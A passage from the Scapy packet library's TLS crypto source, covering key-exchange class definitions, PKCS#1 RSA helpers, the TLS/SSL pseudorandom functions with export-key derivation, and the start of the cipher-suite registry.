EncryptedPreMasterSecret # class KX_DH_RSA(_GenericKX): # descr = "DH with RSA-based certificates" # server_kx_msg_cls = lambda _,m: None # client_kx_msg_cls = None class KX_DHE_RSA(_GenericKX): descr = "Ephemeral DH with RSA signature" server_kx_msg_cls = lambda _, m: ServerDHParams client_kx_msg_cls = ClientDiffieHellmanPublic # class KX_ECDH_RSA(_GenericKX): # descr = "ECDH RSA key exchange" # server_kx_msg_cls = lambda _,m: None # client_kx_msg_cls = None class KX_ECDHE_RSA(_GenericKX): descr = "Ephemeral ECDH with RSA signature" server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m) client_kx_msg_cls = ClientECDiffieHellmanPublic class KX_RSA_EXPORT(KX_RSA): descr = "RSA encryption, export version" server_kx_msg_cls = lambda _, m: ServerRSAParams # class KX_DH_RSA_EXPORT(KX_DH_RSA): # descr = "DH with RSA-based certificates - Export version" class KX_DHE_RSA_EXPORT(KX_DHE_RSA): descr = "Ephemeral DH with RSA signature, export version" # Standard ECDSA-authenticated key exchange # class KX_ECDH_ECDSA(_GenericKX): # descr = "ECDH ECDSA key exchange" # server_kx_msg_cls = lambda _,m: None # client_kx_msg_cls = None class KX_ECDHE_ECDSA(_GenericKX): descr = "Ephemeral ECDH with ECDSA signature" server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m) client_kx_msg_cls = ClientECDiffieHellmanPublic # Classes below are offered without any guarantee. # They may offer some parsing capabilities, # but surely won't be able to handle a proper TLS negotiation. # Uncomment them at your own risk. # Standard DSS-authenticated key exchange # class KX_DH_DSS(_GenericKX): # descr = "DH with DSS-based certificates" # server_kx_msg_cls = lambda _,m: ServerDHParams # client_kx_msg_cls = ClientDiffieHellmanPublic # class KX_DHE_DSS(_GenericKX): # descr = "Ephemeral DH with DSS signature" # server_kx_msg_cls = lambda _,m: ServerDHParams # client_kx_msg_cls = ClientDiffieHellmanPublic # class KX_DH_DSS_EXPORT(KX_DH_DSS): # descr = "DH with DSS-based certificates - Export version" # class KX_DHE_DSS_EXPORT(KX_DHE_DSS): # descr = "Ephemeral DH with DSS signature, export version" # PSK-based key exchange # class KX_PSK(_GenericKX): # RFC 4279 # descr = "PSK key exchange" # server_kx_msg_cls = lambda _,m: ServerPSKParams # client_kx_msg_cls = None # class KX_RSA_PSK(_GenericKX): # RFC 4279 # descr = "RSA PSK key exchange" # server_kx_msg_cls = lambda _,m: ServerPSKParams # client_kx_msg_cls = None # class KX_DHE_PSK(_GenericKX): # RFC 4279 # descr = "Ephemeral DH with PSK key exchange" # server_kx_msg_cls = lambda _,m: ServerPSKParams # client_kx_msg_cls = ClientDiffieHellmanPublic # class KX_ECDHE_PSK(_GenericKX): # RFC 5489 # descr = "Ephemeral ECDH PSK key exchange" # server_kx_msg_cls = lambda _,m: _tls_server_ecdh_cls_guess(m) # client_kx_msg_cls = ClientDiffieHellmanPublic # SRP-based key exchange # # Kerberos-based key exchange # class KX_KRB5(_GenericKX): # descr = "Kerberos 5 key exchange" # server_kx_msg_cls = lambda _,m: None # No SKE with kerberos # client_kx_msg_cls = None # class KX_KRB5_EXPORT(KX_KRB5): # descr = "Kerberos 5 key exchange - Export version" # Unauthenticated key exchange (opportunistic encryption) class KX_DH_anon(_GenericKX): descr = "Anonymous DH, no signatures" server_kx_msg_cls = lambda _, m: ServerDHParams client_kx_msg_cls = ClientDiffieHellmanPublic class KX_ECDH_anon(_GenericKX): descr = "ECDH anonymous key exchange" server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m) client_kx_msg_cls = ClientECDiffieHellmanPublic class KX_DH_anon_EXPORT(KX_DH_anon): descr = "Anonymous DH, no signatures - Export version" scapy-2.4.4/scapy/layers/tls/crypto/pkcs1.py000066400000000000000000000170621372370053500210060ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2008 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ PKCS #1 methods as defined in RFC 3447. We cannot rely solely on the cryptography library, because the openssl package used by the cryptography library may not implement the md5-sha1 hash, as with Ubuntu or OSX. This is why we reluctantly keep some legacy crypto here. """ from __future__ import absolute_import from scapy.compat import bytes_encode, hex_bytes, bytes_hex import scapy.modules.six as six from scapy.config import conf, crypto_validator from scapy.error import warning if conf.crypto_valid: from cryptography import utils from cryptography.exceptions import InvalidSignature, UnsupportedAlgorithm from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.primitives.hashes import HashAlgorithm ##################################################################### # Some helpers ##################################################################### def pkcs_os2ip(s): """ OS2IP conversion function from RFC 3447. :param s: octet string to be converted :return: n, the corresponding nonnegative integer """ return int(bytes_hex(s), 16) def pkcs_i2osp(n, sLen): """ I2OSP conversion function from RFC 3447. The length parameter allows the function to perform the padding needed. Note that the user is responsible for providing a sufficient xLen. :param n: nonnegative integer to be converted :param sLen: intended length of the resulting octet string :return: corresponding octet string """ # if n >= 256**sLen: # raise Exception("Integer too large for provided sLen %d" % sLen) fmt = "%%0%dx" % (2 * sLen) return hex_bytes(fmt % n) def pkcs_ilen(n): """ This is a log base 256 which determines the minimum octet string length for unequivocal representation of integer n by pkcs_i2osp. """ i = 0 while n > 0: n >>= 8 i += 1 return i @crypto_validator def _legacy_pkcs1_v1_5_encode_md5_sha1(M, emLen): """ Legacy method for PKCS1 v1.5 encoding with MD5-SHA1 hash. """ M = bytes_encode(M) md5_hash = hashes.Hash(_get_hash("md5"), backend=default_backend()) md5_hash.update(M) sha1_hash = hashes.Hash(_get_hash("sha1"), backend=default_backend()) sha1_hash.update(M) H = md5_hash.finalize() + sha1_hash.finalize() if emLen < 36 + 11: warning("pkcs_emsa_pkcs1_v1_5_encode: " "intended encoded message length too short") return None PS = b'\xff' * (emLen - 36 - 3) return b'\x00' + b'\x01' + PS + b'\x00' + H ##################################################################### # Hash and padding helpers ##################################################################### _get_hash = None if conf.crypto_valid: # first, we add the "md5-sha1" hash from openssl to python-cryptography @utils.register_interface(HashAlgorithm) class MD5_SHA1(object): name = "md5-sha1" digest_size = 36 block_size = 64 _hashes = { "md5": hashes.MD5, "sha1": hashes.SHA1, "sha224": hashes.SHA224, "sha256": hashes.SHA256, "sha384": hashes.SHA384, "sha512": hashes.SHA512, "md5-sha1": MD5_SHA1 } def _get_hash(hashStr): try: return _hashes[hashStr]() except KeyError: raise KeyError("Unknown hash function %s" % hashStr) def _get_padding(padStr, mgf=padding.MGF1, h=hashes.SHA256, label=None): if padStr == "pkcs": return padding.PKCS1v15() elif padStr == "pss": # Can't find where this is written, but we have to use the digest # size instead of the automatic padding.PSS.MAX_LENGTH. return padding.PSS(mgf=mgf(h), salt_length=h.digest_size) elif padStr == "oaep": return padding.OAEP(mgf=mgf(h), algorithm=h, label=label) else: warning("Key.encrypt(): Unknown padding type (%s)", padStr) return None ##################################################################### # Asymmetric Cryptography wrappers ##################################################################### # Make sure that default values are consistent across the whole TLS module, # lest they be explicitly set to None between cert.py and pkcs1.py. class _EncryptAndVerifyRSA(object): @crypto_validator def encrypt(self, m, t="pkcs", h="sha256", mgf=None, L=None): mgf = mgf or padding.MGF1 h = _get_hash(h) pad = _get_padding(t, mgf, h, L) return self.pubkey.encrypt(m, pad) @crypto_validator def verify(self, M, S, t="pkcs", h="sha256", mgf=None, L=None): M = bytes_encode(M) mgf = mgf or padding.MGF1 h = _get_hash(h) pad = _get_padding(t, mgf, h, L) try: try: self.pubkey.verify(S, M, pad, h) except UnsupportedAlgorithm: if t != "pkcs" and h != "md5-sha1": raise UnsupportedAlgorithm("RSA verification with %s" % h) self._legacy_verify_md5_sha1(M, S) return True except InvalidSignature: return False def _legacy_verify_md5_sha1(self, M, S): k = self._modulusLen // 8 if len(S) != k: warning("invalid signature (len(S) != k)") return False s = pkcs_os2ip(S) n = self._modulus if isinstance(s, int) and six.PY2: s = long(s) # noqa: F821 if (six.PY2 and not isinstance(s, long)) or s > n - 1: # noqa: F821 warning("Key._rsaep() expects a long between 0 and n-1") return None m = pow(s, self._pubExp, n) EM = pkcs_i2osp(m, k) EMPrime = _legacy_pkcs1_v1_5_encode_md5_sha1(M, k) if EMPrime is None: warning("Key._rsassa_pkcs1_v1_5_verify(): unable to encode.") return False return EM == EMPrime class _DecryptAndSignRSA(object): @crypto_validator def decrypt(self, C, t="pkcs", h="sha256", mgf=None, L=None): mgf = mgf or padding.MGF1 h = _get_hash(h) pad = _get_padding(t, mgf, h, L) return self.key.decrypt(C, pad) @crypto_validator def sign(self, M, t="pkcs", h="sha256", mgf=None, L=None): M = bytes_encode(M) mgf = mgf or padding.MGF1 h = _get_hash(h) pad = _get_padding(t, mgf, h, L) try: return self.key.sign(M, pad, h) except UnsupportedAlgorithm: if t != "pkcs" and h != "md5-sha1": raise UnsupportedAlgorithm("RSA signature with %s" % h) return self._legacy_sign_md5_sha1(M) def _legacy_sign_md5_sha1(self, M): M = bytes_encode(M) k = self._modulusLen // 8 EM = _legacy_pkcs1_v1_5_encode_md5_sha1(M, k) if EM is None: warning("Key._rsassa_pkcs1_v1_5_sign(): unable to encode") return None m = pkcs_os2ip(EM) n = self._modulus if isinstance(m, int) and six.PY2: m = long(m) # noqa: F821 if (six.PY2 and not isinstance(m, long)) or m > n - 1: # noqa: F821 warning("Key._rsaep() expects a long between 0 and n-1") return None privExp = self.key.private_numbers().d s = pow(m, privExp, n) return pkcs_i2osp(s, k) scapy-2.4.4/scapy/layers/tls/crypto/prf.py000066400000000000000000000306341372370053500205540ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ TLS Pseudorandom Function. """ from __future__ import absolute_import from scapy.error import warning from scapy.utils import strxor from scapy.layers.tls.crypto.hash import _tls_hash_algs from scapy.layers.tls.crypto.h_mac import _tls_hmac_algs from scapy.modules.six.moves import range from scapy.compat import bytes_encode # Data expansion functions def _tls_P_hash(secret, seed, req_len, hm): """ Provides the implementation of P_hash function defined in section 5 of RFC 4346 (and section 5 of RFC 5246). Two parameters have been added (hm and req_len): - secret : the key to be used. If RFC 4868 is to be believed, the length must match hm.key_len. Actually, python hmac takes care of formatting every key. - seed : the seed to be used. - req_len : the length of data to be generated by iterating the specific HMAC function (hm). This prevents multiple calls to the function. - hm : the hmac function class to use for iteration (either Hmac_MD5 or Hmac_SHA1 in TLS <= 1.1 or Hmac_SHA256 or Hmac_SHA384 in TLS 1.2) """ hash_len = hm.hash_alg.hash_len n = (req_len + hash_len - 1) // hash_len seed = bytes_encode(seed) res = b"" a = hm(secret).digest(seed) # A(1) while n > 0: res += hm(secret).digest(a + seed) a = hm(secret).digest(a) n -= 1 return res[:req_len] def _tls_P_MD5(secret, seed, req_len): return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-MD5"]) def _tls_P_SHA1(secret, seed, req_len): return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA"]) def _tls_P_SHA256(secret, seed, req_len): return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA256"]) def _tls_P_SHA384(secret, seed, req_len): return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA384"]) def _tls_P_SHA512(secret, seed, req_len): return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA512"]) # PRF functions, according to the protocol version def _sslv2_PRF(secret, seed, req_len): hash_md5 = _tls_hash_algs["MD5"]() rounds = (req_len + hash_md5.hash_len - 1) // hash_md5.hash_len res = b"" if rounds == 1: res += hash_md5.digest(secret + seed) else: r = 0 while r < rounds: label = str(r).encode("utf8") res += hash_md5.digest(secret + label + seed) r += 1 return res[:req_len] def _ssl_PRF(secret, seed, req_len): """ Provides the implementation of SSLv3 PRF function: SSLv3-PRF(secret, seed) = MD5(secret || SHA-1("A" || secret || seed)) || MD5(secret || SHA-1("BB" || secret || seed)) || MD5(secret || SHA-1("CCC" || secret || seed)) || ... req_len should not be more than 26 x 16 = 416. """ if req_len > 416: warning("_ssl_PRF() is not expected to provide more than 416 bytes") return "" d = [b"A", b"B", b"C", b"D", b"E", b"F", b"G", b"H", b"I", b"J", b"K", b"L", # noqa: E501 b"M", b"N", b"O", b"P", b"Q", b"R", b"S", b"T", b"U", b"V", b"W", b"X", # noqa: E501 b"Y", b"Z"] res = b"" hash_sha1 = _tls_hash_algs["SHA"]() hash_md5 = _tls_hash_algs["MD5"]() rounds = (req_len + hash_md5.hash_len - 1) // hash_md5.hash_len for i in range(rounds): label = d[i] * (i + 1) tmp = hash_sha1.digest(label + secret + seed) res += hash_md5.digest(secret + tmp) return res[:req_len] def _tls_PRF(secret, label, seed, req_len): """ Provides the implementation of TLS PRF function as defined in section 5 of RFC 4346: PRF(secret, label, seed) = P_MD5(S1, label + seed) XOR P_SHA-1(S2, label + seed) Parameters are: - secret: the secret used by the HMAC in the 2 expansion functions (S1 and S2 are the halves of this secret). - label: specific label as defined in various sections of the RFC depending on the use of the generated PRF keystream - seed: the seed used by the expansion functions. - req_len: amount of keystream to be generated """ tmp_len = (len(secret) + 1) // 2 S1 = secret[:tmp_len] S2 = secret[-tmp_len:] a1 = _tls_P_MD5(S1, label + seed, req_len) a2 = _tls_P_SHA1(S2, label + seed, req_len) return strxor(a1, a2) def _tls12_SHA256PRF(secret, label, seed, req_len): """ Provides the implementation of TLS 1.2 PRF function as defined in section 5 of RFC 5246: PRF(secret, label, seed) = P_SHA256(secret, label + seed) Parameters are: - secret: the secret used by the HMAC in the 2 expansion functions (S1 and S2 are the halves of this secret). - label: specific label as defined in various sections of the RFC depending on the use of the generated PRF keystream - seed: the seed used by the expansion functions. - req_len: amount of keystream to be generated """ return _tls_P_SHA256(secret, label + seed, req_len) def _tls12_SHA384PRF(secret, label, seed, req_len): return _tls_P_SHA384(secret, label + seed, req_len) def _tls12_SHA512PRF(secret, label, seed, req_len): return _tls_P_SHA512(secret, label + seed, req_len) class PRF(object): """ The PRF used by SSL/TLS varies based on the version of the protocol and (for TLS 1.2) possibly the Hash algorithm of the negotiated cipher suite. The various uses of the PRF (key derivation, computation of verify_data, computation of pre_master_secret values) for the different versions of the protocol also changes. In order to abstract those elements, the common _tls_PRF() object is provided. It is expected to be initialised in the context of the connection state using the tls_version and the cipher suite. """ def __init__(self, hash_name="SHA256", tls_version=0x0303): self.tls_version = tls_version self.hash_name = hash_name if tls_version < 0x0300: # SSLv2 self.prf = _sslv2_PRF elif tls_version == 0x0300: # SSLv3 self.prf = _ssl_PRF elif (tls_version == 0x0301 or # TLS 1.0 tls_version == 0x0302): # TLS 1.1 self.prf = _tls_PRF elif tls_version == 0x0303: # TLS 1.2 if hash_name == "SHA384": self.prf = _tls12_SHA384PRF elif hash_name == "SHA512": self.prf = _tls12_SHA512PRF else: self.prf = _tls12_SHA256PRF else: warning("Unknown TLS version") def compute_master_secret(self, pre_master_secret, client_random, server_random): """ Return the 48-byte master_secret, computed from pre_master_secret, client_random and server_random. See RFC 5246, section 6.3. """ seed = client_random + server_random if self.tls_version < 0x0300: return None elif self.tls_version == 0x0300: return self.prf(pre_master_secret, seed, 48) else: return self.prf(pre_master_secret, b"master secret", seed, 48) def derive_key_block(self, master_secret, server_random, client_random, req_len): """ Perform the derivation of master_secret into a key_block of req_len requested length. See RFC 5246, section 6.3. """ seed = server_random + client_random if self.tls_version <= 0x0300: return self.prf(master_secret, seed, req_len) else: return self.prf(master_secret, b"key expansion", seed, req_len) def compute_verify_data(self, con_end, read_or_write, handshake_msg, master_secret): """ Return verify_data based on handshake messages, connection end, master secret, and read_or_write position. See RFC 5246, section 7.4.9. Every TLS 1.2 cipher suite has a verify_data of length 12. Note also:: "This PRF with the SHA-256 hash function is used for all cipher suites defined in this document and in TLS documents published prior to this document when TLS 1.2 is negotiated." Cipher suites using SHA-384 were defined later on. """ if self.tls_version < 0x0300: return None elif self.tls_version == 0x0300: if read_or_write == "write": d = {"client": b"CLNT", "server": b"SRVR"} else: d = {"client": b"SRVR", "server": b"CLNT"} label = d[con_end] sslv3_md5_pad1 = b"\x36" * 48 sslv3_md5_pad2 = b"\x5c" * 48 sslv3_sha1_pad1 = b"\x36" * 40 sslv3_sha1_pad2 = b"\x5c" * 40 md5 = _tls_hash_algs["MD5"]() sha1 = _tls_hash_algs["SHA"]() md5_hash = md5.digest(master_secret + sslv3_md5_pad2 + md5.digest(handshake_msg + label + master_secret + sslv3_md5_pad1)) sha1_hash = sha1.digest(master_secret + sslv3_sha1_pad2 + sha1.digest(handshake_msg + label + master_secret + sslv3_sha1_pad1)) # noqa: E501 verify_data = md5_hash + sha1_hash else: if read_or_write == "write": d = {"client": "client", "server": "server"} else: d = {"client": "server", "server": "client"} label = ("%s finished" % d[con_end]).encode() if self.tls_version <= 0x0302: s1 = _tls_hash_algs["MD5"]().digest(handshake_msg) s2 = _tls_hash_algs["SHA"]().digest(handshake_msg) verify_data = self.prf(master_secret, label, s1 + s2, 12) else: if self.hash_name in ["MD5", "SHA"]: h = _tls_hash_algs["SHA256"]() else: h = _tls_hash_algs[self.hash_name]() s = h.digest(handshake_msg) verify_data = self.prf(master_secret, label, s, 12) return verify_data def postprocess_key_for_export(self, key, client_random, server_random, con_end, read_or_write, req_len): """ Postprocess cipher key for EXPORT ciphersuite, i.e. weakens it. An export key generation example is given in section 6.3.1 of RFC 2246. See also page 86 of EKR's book. """ s = con_end + read_or_write s = (s == "clientwrite" or s == "serverread") if self.tls_version < 0x0300: return None elif self.tls_version == 0x0300: if s: tbh = key + client_random + server_random else: tbh = key + server_random + client_random export_key = _tls_hash_algs["MD5"]().digest(tbh)[:req_len] else: if s: tag = b"client write key" else: tag = b"server write key" export_key = self.prf(key, tag, client_random + server_random, req_len) return export_key def generate_iv_for_export(self, client_random, server_random, con_end, read_or_write, req_len): """ Generate IV for EXPORT ciphersuite, i.e. weakens it. An export IV generation example is given in section 6.3.1 of RFC 2246. See also page 86 of EKR's book. """ s = con_end + read_or_write s = (s == "clientwrite" or s == "serverread") if self.tls_version < 0x0300: return None elif self.tls_version == 0x0300: if s: tbh = client_random + server_random else: tbh = server_random + client_random iv = _tls_hash_algs["MD5"]().digest(tbh)[:req_len] else: iv_block = self.prf("", b"IV block", client_random + server_random, 2 * req_len) if s: iv = iv_block[:req_len] else: iv = iv_block[req_len:] return iv scapy-2.4.4/scapy/layers/tls/crypto/suites.py000066400000000000000000000725241372370053500213050ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ TLS cipher suites. A comprehensive list of specified cipher suites can be consulted at: https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml """ from __future__ import absolute_import from scapy.layers.tls.crypto.kx_algs import _tls_kx_algs from scapy.layers.tls.crypto.hash import _tls_hash_algs from scapy.layers.tls.crypto.h_mac import _tls_hmac_algs from scapy.layers.tls.crypto.ciphers import _tls_cipher_algs import scapy.modules.six as six def get_algs_from_ciphersuite_name(ciphersuite_name): """ Return the 3-tuple made of the Key Exchange Algorithm class, the Cipher class and the HMAC class, through the parsing of the ciphersuite name. """ tls1_3 = False if ciphersuite_name.startswith("TLS"): s = ciphersuite_name[4:] if s.endswith("CCM") or s.endswith("CCM_8"): kx_name, s = s.split("_WITH_") kx_alg = _tls_kx_algs.get(kx_name) hash_alg = _tls_hash_algs.get("SHA256") cipher_alg = _tls_cipher_algs.get(s) hmac_alg = None else: if "WITH" in s: kx_name, s = s.split("_WITH_") kx_alg = _tls_kx_algs.get(kx_name) else: tls1_3 = True kx_alg = _tls_kx_algs.get("TLS13") hash_name = s.split('_')[-1] hash_alg = _tls_hash_algs.get(hash_name) cipher_name = s[:-(len(hash_name) + 1)] if tls1_3: cipher_name += "_TLS13" cipher_alg = _tls_cipher_algs.get(cipher_name) hmac_alg = None if cipher_alg is not None and cipher_alg.type != "aead": hmac_name = "HMAC-%s" % hash_name hmac_alg = _tls_hmac_algs.get(hmac_name) elif ciphersuite_name.startswith("SSL"): s = ciphersuite_name[7:] kx_alg = _tls_kx_algs.get("SSLv2") cipher_name, hash_name = s.split("_WITH_") cipher_alg = _tls_cipher_algs.get(cipher_name.rstrip("_EXPORT40")) kx_alg.export = cipher_name.endswith("_EXPORT40") hmac_alg = _tls_hmac_algs.get("HMAC-NULL") hash_alg = _tls_hash_algs.get(hash_name) return kx_alg, cipher_alg, hmac_alg, hash_alg, tls1_3 _tls_cipher_suites = {} _tls_cipher_suites_cls = {} class _GenericCipherSuiteMetaclass(type): """ Cipher suite classes are automatically registered through this metaclass. Their name attribute equates their respective class name. We also pre-compute every expected length of the key block to be generated, which may vary according to the current tls_version. The default is set to the TLS 1.2 length, and the value should be set at class instantiation. Regarding the AEAD cipher suites, note that the 'hmac_alg' attribute will be set to None. Yet, we always need a 'hash_alg' for the PRF. """ def __new__(cls, cs_name, bases, dct): cs_val = dct.get("val") if cs_name != "_GenericCipherSuite": kx, c, hm, h, tls1_3 = get_algs_from_ciphersuite_name(cs_name) if c is None or h is None or (kx is None and not tls1_3): dct["usable"] = False else: dct["usable"] = True dct["name"] = cs_name dct["kx_alg"] = kx dct["cipher_alg"] = c dct["hmac_alg"] = hm dct["hash_alg"] = h if not tls1_3: kb_len = 2 * c.key_len if c.type == "stream" or c.type == "block": kb_len += 2 * hm.key_len kb_len_v1_0 = kb_len if c.type == "block": kb_len_v1_0 += 2 * c.block_size # no explicit IVs added for TLS 1.1+ elif c.type == "aead": kb_len_v1_0 += 2 * c.fixed_iv_len kb_len += 2 * c.fixed_iv_len dct["_key_block_len_v1_0"] = kb_len_v1_0 dct["key_block_len"] = kb_len _tls_cipher_suites[cs_val] = cs_name the_class = super(_GenericCipherSuiteMetaclass, cls).__new__(cls, cs_name, bases, dct) if cs_name != "_GenericCipherSuite": _tls_cipher_suites_cls[cs_val] = the_class return the_class class _GenericCipherSuite(six.with_metaclass(_GenericCipherSuiteMetaclass, object)): # noqa: E501 def __init__(self, tls_version=0x0303): """ Most of the attributes are fixed and have already been set by the metaclass, but we still have to provide tls_version differentiation. For now, the key_block_len remains the only application if this. Indeed for TLS 1.1+, when using a block cipher, there are no implicit IVs derived from the master secret. Note that an overlong key_block_len would not affect the secret generation (the trailing bytes would simply be discarded), but we still provide this for completeness. """ super(_GenericCipherSuite, self).__init__() if tls_version <= 0x301: self.key_block_len = self._key_block_len_v1_0 class TLS_NULL_WITH_NULL_NULL(_GenericCipherSuite): val = 0x0000 class TLS_RSA_WITH_NULL_MD5(_GenericCipherSuite): val = 0x0001 class TLS_RSA_WITH_NULL_SHA(_GenericCipherSuite): val = 0x0002 class TLS_RSA_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite): val = 0x0003 class TLS_RSA_WITH_RC4_128_MD5(_GenericCipherSuite): val = 0x0004 class TLS_RSA_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0x0005 class TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5(_GenericCipherSuite): val = 0x0006 class TLS_RSA_WITH_IDEA_CBC_SHA(_GenericCipherSuite): val = 0x0007 class TLS_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x0008 class TLS_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x0009 class TLS_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x000A class TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x000B class TLS_DH_DSS_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x000C class TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x000D class TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x000E class TLS_DH_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x000F class TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x0010 class TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x0011 class TLS_DHE_DSS_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x0012 class TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x0013 class TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x0014 class TLS_DHE_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x0015 class TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x0016 class TLS_DH_anon_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite): val = 0x0017 class TLS_DH_anon_WITH_RC4_128_MD5(_GenericCipherSuite): val = 0x0018 class TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x0019 class TLS_DH_anon_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x001A class TLS_DH_anon_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x001B class TLS_KRB5_WITH_DES_CBC_SHA(_GenericCipherSuite): val = 0x001E class TLS_KRB5_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x001F class TLS_KRB5_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0x0020 class TLS_KRB5_WITH_IDEA_CBC_SHA(_GenericCipherSuite): val = 0x0021 class TLS_KRB5_WITH_DES_CBC_MD5(_GenericCipherSuite): val = 0x0022 class TLS_KRB5_WITH_3DES_EDE_CBC_MD5(_GenericCipherSuite): val = 0x0023 class TLS_KRB5_WITH_RC4_128_MD5(_GenericCipherSuite): val = 0x0024 class TLS_KRB5_WITH_IDEA_CBC_MD5(_GenericCipherSuite): val = 0x0025 class TLS_KRB5_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite): val = 0x0026 class TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA(_GenericCipherSuite): val = 0x0027 class TLS_KRB5_EXPORT_WITH_RC4_40_SHA(_GenericCipherSuite): val = 0x0028 class TLS_KRB5_EXPORT_WITH_DES40_CBC_MD5(_GenericCipherSuite): val = 0x0029 class TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5(_GenericCipherSuite): val = 0x002A class TLS_KRB5_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite): val = 0x002B class TLS_PSK_WITH_NULL_SHA(_GenericCipherSuite): val = 0x002C class TLS_DHE_PSK_WITH_NULL_SHA(_GenericCipherSuite): val = 0x002D class TLS_RSA_PSK_WITH_NULL_SHA(_GenericCipherSuite): val = 0x002E class TLS_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x002F class TLS_DH_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0030 class TLS_DH_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0031 class TLS_DHE_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0032 class TLS_DHE_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0033 class TLS_DH_anon_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0034 class TLS_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0035 class TLS_DH_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0036 class TLS_DH_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0037 class TLS_DHE_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0038 class TLS_DHE_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0039 class TLS_DH_anon_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x003A class TLS_RSA_WITH_NULL_SHA256(_GenericCipherSuite): val = 0x003B class TLS_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x003C class TLS_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x003D class TLS_DH_DSS_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x003E class TLS_DH_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x003F class TLS_DHE_DSS_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x0040 class TLS_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0041 class TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0042 class TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0043 class TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0044 class TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0045 class TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite): val = 0x0046 class TLS_DHE_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x0067 class TLS_DH_DSS_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x0068 class TLS_DH_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x0069 class TLS_DHE_DSS_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x006A class TLS_DHE_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x006B class TLS_DH_anon_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x006C class TLS_DH_anon_WITH_AES_256_CBC_SHA256(_GenericCipherSuite): val = 0x006D class 